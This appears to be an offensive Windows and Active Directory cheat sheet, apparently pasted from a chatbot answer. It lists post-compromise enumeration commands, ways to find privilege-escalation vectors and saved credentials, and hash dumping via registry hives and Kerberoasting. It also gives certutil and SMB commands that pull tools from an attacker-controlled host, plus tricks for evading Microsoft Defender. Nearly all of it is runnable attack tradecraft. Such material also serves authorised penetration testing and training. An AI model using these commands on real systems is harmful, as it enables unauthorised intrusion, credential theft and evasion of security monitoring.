1. User & Privilege Information

powershell

CopyEdit

```
whoami
whoami /groups
net user %username%
```

- Check if you're part of **Administrators**, **Remote Desktop Users**, etc.

□🤝□ 2. Enumerate Local Users

powershell

CopyEdit

```
net users
net localgroup administrators
net localgroup "Remote Desktop Users"
```

- Useful to find other users that may be interesting or have higher privileges.

🗄 3. Hostname, IP, and Domain Info

powershell

CopyEdit

```
hostname
ipconfig /all
echo %USERDOMAIN%
set
```

□ 4. Find Domain Controllers

powershell

CopyEdit

```
nltest /dclist:<domain>
nltest /domain_trusts
```

💼 5. Find Logged-In Users

powershell

CopyEdit

```
query user
qwinsta
```

🖧 6. Check Active Sessions or Shares

powershell

CopyEdit

```
net session
net share
net use
```

🗁 7. Enumerate Services (e.g., for misconfigurations)

powershell

CopyEdit

```
sc query
sc qc <service_name>
```

🔒 8. Look for Credential Disclosure (Cleartext or Weak File Permissions)

Search manually:

- C:\Users\<user>\AppData\Roaming
- C:\ProgramData
- C:\Windows\Temp
- Files like config.xml, .rdp, .ps1, .bat, .ini, .log

🔒 9. Look for Saved Credentials

powershell

CopyEdit

```
cmdkey /list
```

Can show saved RDP/Windows credentials for other users.

🔁 10. Check for Lateral Movement Possibility

Even without Mimikatz, you can use:

powershell

CopyEdit

```
net view /domain

net view \\<hostname>
```

If you have credentials (hash/password), you can:

- Map drives
- Use runas
- Use psexec or wmic if you find them locally

🔄 11. Escalation Vectors

Search manually for:

- **Unquoted service paths**
- **Weak folder permissions (C:\Program Files or Services)**
- **AlwaysInstallElevated** registry keys
- **Scheduled tasks with weak ACLs**

🔑 12. Manual Kerberos Ticket Check

powershell

CopyEdit

```
klist
```

- Shows your current TGTs
- Helps for Pass-the-Ticket if you get .kirbi later

🛠 Bonus: Built-in Tools That May Be Present

- tasklist, schtasks, reg, reg query
- wmic
- PowerShell (including advanced remoting)
- gpresult /R to check GPOs applied
- eventvwr for manual log checking

🔐 What You Can't Do Without Mimikatz or Rubeus:

- Dump LSASS memory (sekurlsa::logonpasswords)
- Export tickets (kerberos::ptt)
- Enumerate AD deeply (PowerView)
- Abusing delegation/ticket forging

But you can still **dump hashes** if secretsdump.py is run **remotely**, or you copy SAM, SYSTEM, and SECURITY hives.

What You MUST Know (Manual AD Enumeration)

You should be comfortable doing the following **without tools**:

🔍 Enumerate Users & Groups (Post Foothold)

cmd

CopyEdit

```
whoami /groups
net user /domain
net group "Domain Admins" /domain
net localgroup administrators
net share
```

🗺️ Identify Domain Info

cmd

CopyEdit

```
set
echo %USERDOMAIN%
echo %USERNAME%
nltest /domain_trusts
nltest /dclist:yourdomain.local
```

▯ Check Sessions & Logged-In Users

cmd

CopyEdit

```
query user
qwinsta
tasklist /v
```

□ Find Priv Esc Vectors

cmd

CopyEdit

```
whoami /priv
icacls "C:\path"
sc qc someService
dir /q /s "C:\Program Files"
```

🛠 What to Do *If* You Can Transfer Tools:

Use:

- certutil -urlcache -split -f http://<attacker_ip>/tool.exe tool.exe
- Or mount SMB share:

cmd

CopyEdit

```
net use \\<attacker_ip>\share /user:attacker pass
copy \\<attacker_ip>\share\tool.exe .
```

☑ 1. "Tool-less AD Survival Sheet" (Native PowerShell)

Use these commands **if tools like PowerView, BloodHound, or Rubeus are blocked or deleted**.

□💼 Basic User & Group Info

powershell

CopyEdit

```
whoami /groups
```

```
net user <username> /domain
net group "Domain Admins" /domain
net localgroup administrators
```

□ Environment & Domain Info

powershell

CopyEdit

```
echo %USERDOMAIN%
echo %COMPUTERNAME%
echo %USERNAME%
set
```

□ Share Enumeration

powershell

CopyEdit

```
net share
Get-SmbShare
```

□💻 Sessions & Logged-In Users

powershell

CopyEdit

```
query user
qwinsta
tasklist /v
```

📦 List Domain Users (Manual ADSI)

powershell

CopyEdit

```
$domain = New-Object DirectoryServices.DirectoryEntry
$searcher = New-Object DirectoryServices.DirectorySearcher($domain)
$searcher.Filter = "(objectClass=user)"
$searcher.FindAll()
```

🔑 SPNs (For Kerberoasting – fallback to attacker machine if possible)

powershell

CopyEdit

```
setspn -T yourdomain.local -Q */*
```

✅ 2. "Tool Transfer Cheatsheet"

When you're stuck without your usual tools — use these:

◆ Transfer with certutil

cmd

CopyEdit

```
certutil -urlcache -split -f http://<Kali_IP>/tool.exe tool.exe
```

◆ Python HTTP Server (on Kali)

bash

CopyEdit

```
python3 -m http.server 80
```

◆ SMB Share (on Kali)

bash

CopyEdit

```
impacket-smbserver share /path/to/tools -smb2support
```

cmd

CopyEdit

```
net use \\<Kali_IP>\share
copy \\<Kali_IP>\share\tool.exe
```

□ Defender Evasion Tricks

- Rename .ps1 → .txt
- Rename .exe → .dat, .bin
- Compress in .zip or .7z
- Encode with base64 → decode in PowerShell